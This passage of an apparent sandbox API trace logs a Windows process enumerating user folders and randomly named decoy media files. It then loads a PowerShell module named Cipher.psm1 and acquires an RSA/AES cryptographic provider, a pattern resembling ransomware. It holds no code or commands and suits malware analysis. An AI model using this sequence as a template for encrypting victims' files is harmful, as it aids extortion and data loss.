ftLastWriteTime.dwLowDateTime=0x7e8847c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.941] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8847c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0162.941] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8847c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0162.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e94c) returned 1 [0162.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebac) returned 1 [0162.941] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8847c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.941] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8847c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0162.942] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e94c) returned 1 [0162.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebac) returned 1 [0162.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb90) returned 1 [0162.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb90) returned 1 [0162.942] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79992090, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e82f090, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.943] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8317a0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0162.943] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0162.943] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0162.943] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0162.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e94c) returned 1 [0162.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebac) returned 1 [0162.943] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79992090, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e82f090, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.943] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8317a0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0162.943] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0162.943] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0162.943] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e94c) returned 1 [0162.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebac) returned 1 [0162.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb90) returned 1 [0162.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb90) returned 1 [0162.944] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794831d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xc8ed0a20, ftLastAccessTime.dwHighDateTime=0x1d99dba, ftLastWriteTime.dwLowDateTime=0xc8ed0a20, ftLastWriteTime.dwHighDateTime=0x1d99dba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.944] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5678f400, ftCreationTime.dwHighDateTime=0x1d99c7e, ftLastAccessTime.dwLowDateTime=0x83ca2280, ftLastAccessTime.dwHighDateTime=0x1d99d05, ftLastWriteTime.dwLowDateTime=0x83ca2280, ftLastWriteTime.dwHighDateTime=0x1d99d05, nFileSizeHigh=0x0, nFileSizeLow=0x166f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="-yjTo2z6KK.flv", cAlternateFileName="-YJTO2~1.FLV")) returned 1 [0162.944] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0f2b4e0, ftCreationTime.dwHighDateTime=0x1d98dc3, ftLastAccessTime.dwLowDateTime=0x85004810, ftLastAccessTime.dwHighDateTime=0x1d992be, ftLastWriteTime.dwLowDateTime=0x85004810, ftLastWriteTime.dwHighDateTime=0x1d992be, nFileSizeHigh=0x0, nFileSizeLow=0x127b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="2oM4Y k1xjI3g.mkv", cAlternateFileName="2OM4YK~1.MKV")) returned 1 [0162.945] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x684515a0, ftCreationTime.dwHighDateTime=0x1d98fb9, ftLastAccessTime.dwLowDateTime=0x7420070, ftLastAccessTime.dwHighDateTime=0x1d991e3, ftLastWriteTime.dwLowDateTime=0x7420070, ftLastWriteTime.dwHighDateTime=0x1d991e3, nFileSizeHigh=0x0, nFileSizeLow=0x887b, dwReserved0=0x0, dwReserved1=0x0, cFileName="8dB0akGf3l01 r.flv", cAlternateFileName="8DB0AK~1.FLV")) returned 1 [0162.945] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6211e920, ftCreationTime.dwHighDateTime=0x1d99b20, ftLastAccessTime.dwLowDateTime=0x695058e0, ftLastAccessTime.dwHighDateTime=0x1d99d53, ftLastWriteTime.dwLowDateTime=0x695058e0, ftLastWriteTime.dwHighDateTime=0x1d99d53, nFileSizeHigh=0x0, nFileSizeLow=0x16c43, dwReserved0=0x0, dwReserved1=0x0, cFileName="8T2gbdRyFeg.swf", cAlternateFileName="8T2GBD~1.SWF")) returned 1 [0162.945] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33730850, ftCreationTime.dwHighDateTime=0x1d99ac2, ftLastAccessTime.dwLowDateTime=0xf03fda70, ftLastAccessTime.dwHighDateTime=0x1d99acd, ftLastWriteTime.dwLowDateTime=0xf03fda70, ftLastWriteTime.dwHighDateTime=0x1d99acd, nFileSizeHigh=0x0, nFileSizeLow=0x2999, dwReserved0=0x0, dwReserved1=0x0, cFileName="aPKvMa.flv", cAlternateFileName="")) returned 1 [0162.945] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3b1e30, ftCreationTime.dwHighDateTime=0x1d99c34, ftLastAccessTime.dwLowDateTime=0xe2eefee0, ftLastAccessTime.dwHighDateTime=0x1d99ca9, ftLastWriteTime.dwLowDateTime=0xe2eefee0, ftLastWriteTime.dwHighDateTime=0x1d99ca9, nFileSizeHigh=0x0, nFileSizeLow=0x4e52, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASuk8Kn.flv", cAlternateFileName="")) returned 1 [0162.945] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6af7e150, ftCreationTime.dwHighDateTime=0x1d98d8f, ftLastAccessTime.dwLowDateTime=0x371467a0, ftLastAccessTime.dwHighDateTime=0x1d99875, ftLastWriteTime.dwLowDateTime=0x371467a0, ftLastWriteTime.dwHighDateTime=0x1d99875, nFileSizeHigh=0x0, nFileSizeLow=0x5f46, dwReserved0=0x0, dwReserved1=0x0, cFileName="AyQb95tLIi4.mkv", cAlternateFileName="AYQB95~1.MKV")) returned 1 [0162.945] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6272d0f0, ftCreationTime.dwHighDateTime=0x1d99977, ftLastAccessTime.dwLowDateTime=0xc8e4ae20, ftLastAccessTime.dwHighDateTime=0x1d99b71, ftLastWriteTime.dwLowDateTime=0xc8e4ae20, ftLastWriteTime.dwHighDateTime=0x1d99b71, nFileSizeHigh=0x0, nFileSizeLow=0x10c0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BVNnr5q9zsDgrxGa8.mkv", cAlternateFileName="BVNNR5~1.MKV")) returned 1 [0162.945] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2a73430, ftCreationTime.dwHighDateTime=0x1d99a22, ftLastAccessTime.dwLowDateTime=0x4c631190, ftLastAccessTime.dwHighDateTime=0x1d99a5c, ftLastWriteTime.dwLowDateTime=0x4c631190, ftLastWriteTime.dwHighDateTime=0x1d99a5c, nFileSizeHigh=0x0, nFileSizeLow=0x6739, dwReserved0=0x0, dwReserved1=0x0, cFileName="CyGwr8.swf", cAlternateFileName="")) returned 1 [0162.945] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17cea010, ftCreationTime.dwHighDateTime=0x1d9952b, ftLastAccessTime.dwLowDateTime=0x61fd5c80, ftLastAccessTime.dwHighDateTime=0x1d99a6c, ftLastWriteTime.dwLowDateTime=0x61fd5c80, ftLastWriteTime.dwHighDateTime=0x1d99a6c, nFileSizeHigh=0x0, nFileSizeLow=0x2c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="D9fc.flv", cAlternateFileName="")) returned 1 [0162.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e94c) returned 1 [0162.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebac) returned 1 [0162.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e94c) returned 1 [0162.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebac) returned 1 [0162.950] EtwEventActivityIdControl () returned 0x0 [0162.950] EtwEventActivityIdControl () returned 0x0 [0162.950] EtwEventActivityIdControl () returned 0x0 [0162.950] EtwEventActivityIdControl () returned 0x0 [0162.973] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2eb1c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0163.072] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2ec7c | out: lpPerformanceCount=0x5a2ec7c*=3248759238066) returned 1 [0163.072] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0163.072] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x49 [0163.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e968) returned 1 [0163.072] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), fInfoLevelId=0x0, lpFileInformation=0x5a2ec2c | out: lpFileInformation=0x5a2ec2c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47572a0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa47572a0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x14ef)) returned 1 [0163.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e964) returned 1 [0163.072] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0163.073] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x49 [0163.640] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2ec44 | out: lpPerformanceCount=0x5a2ec44*=3248816095808) returned 1 [0164.006] EtwEventActivityIdControl () returned 0x0 [0164.006] EtwEventActivityIdControl () returned 0x0 [0164.006] EtwEventActivityIdControl () returned 0x0 [0164.126] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x372710 [0164.130] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x373348 [0164.754] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e774, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0164.917] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2e8d4 | out: lpPerformanceCount=0x5a2e8d4*=3248943764169) returned 1 [0164.917] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0164.917] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x49 [0164.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e5c0) returned 1 [0164.918] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), fInfoLevelId=0x0, lpFileInformation=0x5a2e884 | out: lpFileInformation=0x5a2e884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47572a0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa47572a0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x14ef)) returned 1 [0164.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e5bc) returned 1 [0164.918] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0164.918] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x49 [0165.355] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2e89c | out: lpPerformanceCount=0x5a2e89c*=3248987607175) returned 1 [0165.754] EtwEventActivityIdControl () returned 0x0 [0165.754] EtwEventActivityIdControl () returned 0x0 [0165.754] EtwEventActivityIdControl () returned 0x0 [0166.451] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0166.451] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x44, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0166.451] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0166.451] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x44, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0166.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e38c) returned 1 [0166.452] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x5a2e650 | out: lpFileInformation=0x5a2e650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0166.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e388) returned 1 [0166.588] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x5a2e51c | out: pfEnabled=0x5a2e51c) returned 0x0 [0166.604] CryptAcquireContextW (in: phProv=0x5a2e320, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e320*=0x3733d0) returned 1 [0166.607] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x5a2e2e4, dwFlags=0x1 | out: pbData=0x0, pdwDataLen=0x5a2e2e4) returned 1 [0166.609] CoTaskMemAlloc (cb=0x20) returned 0x5c41df8 [0166.609] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x5c41df8, pdwDataLen=0x5a2e2e4, dwFlags=0x1 | out: pbData=0x5c41df8, pdwDataLen=0x5a2e2e4) returned 1 [0166.610] CoTaskMemFree (pv=0x5c41df8) [0166.610] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x5a2e2e4) returned 1 [0166.610] CoTaskMemAlloc (cb=0x20) returned 0x5c41df8 [0166.610] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x5c41df8, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x5c41df8, pdwDataLen=0x5a2e2e4) returned 1 [0166.610] CoTaskMemFree (pv=0x5c41df8) [0166.610] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x5a2e2e4) returned 1 [0166.611] CoTaskMemAlloc (cb=0x20) returned 0x5c41df8 [0166.611] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x5c41df8, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x5c41df8, pdwDataLen=0x5a2e2e4) returned 1 [0166.611] CoTaskMemFree (pv=0x5c41df8) [0166.611] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x5a2e2e4) returned 1 [0166.611] CoTaskMemAlloc (cb=0x20) returned 0x5c41df8 [0166.611] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x5c41df8, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x5c41df8, pdwDataLen=0x5a2e2e4) returned 1 [0166.611] CoTaskMemFree (pv=0x5c41df8) [0166.611] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x0, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x5a2e2e4) returned 1 [0166.611] CoTaskMemAlloc (cb=0x20) returned 0x5c41df8 [0166.612] CryptGetProvParam (in: hProv=0x3733d0, dwParam=0x1, pbData=0x5c41df8, pdwDataLen=0x5a2e2e4, dwFlags=0x0 | out: pbData=0x5c41df8, 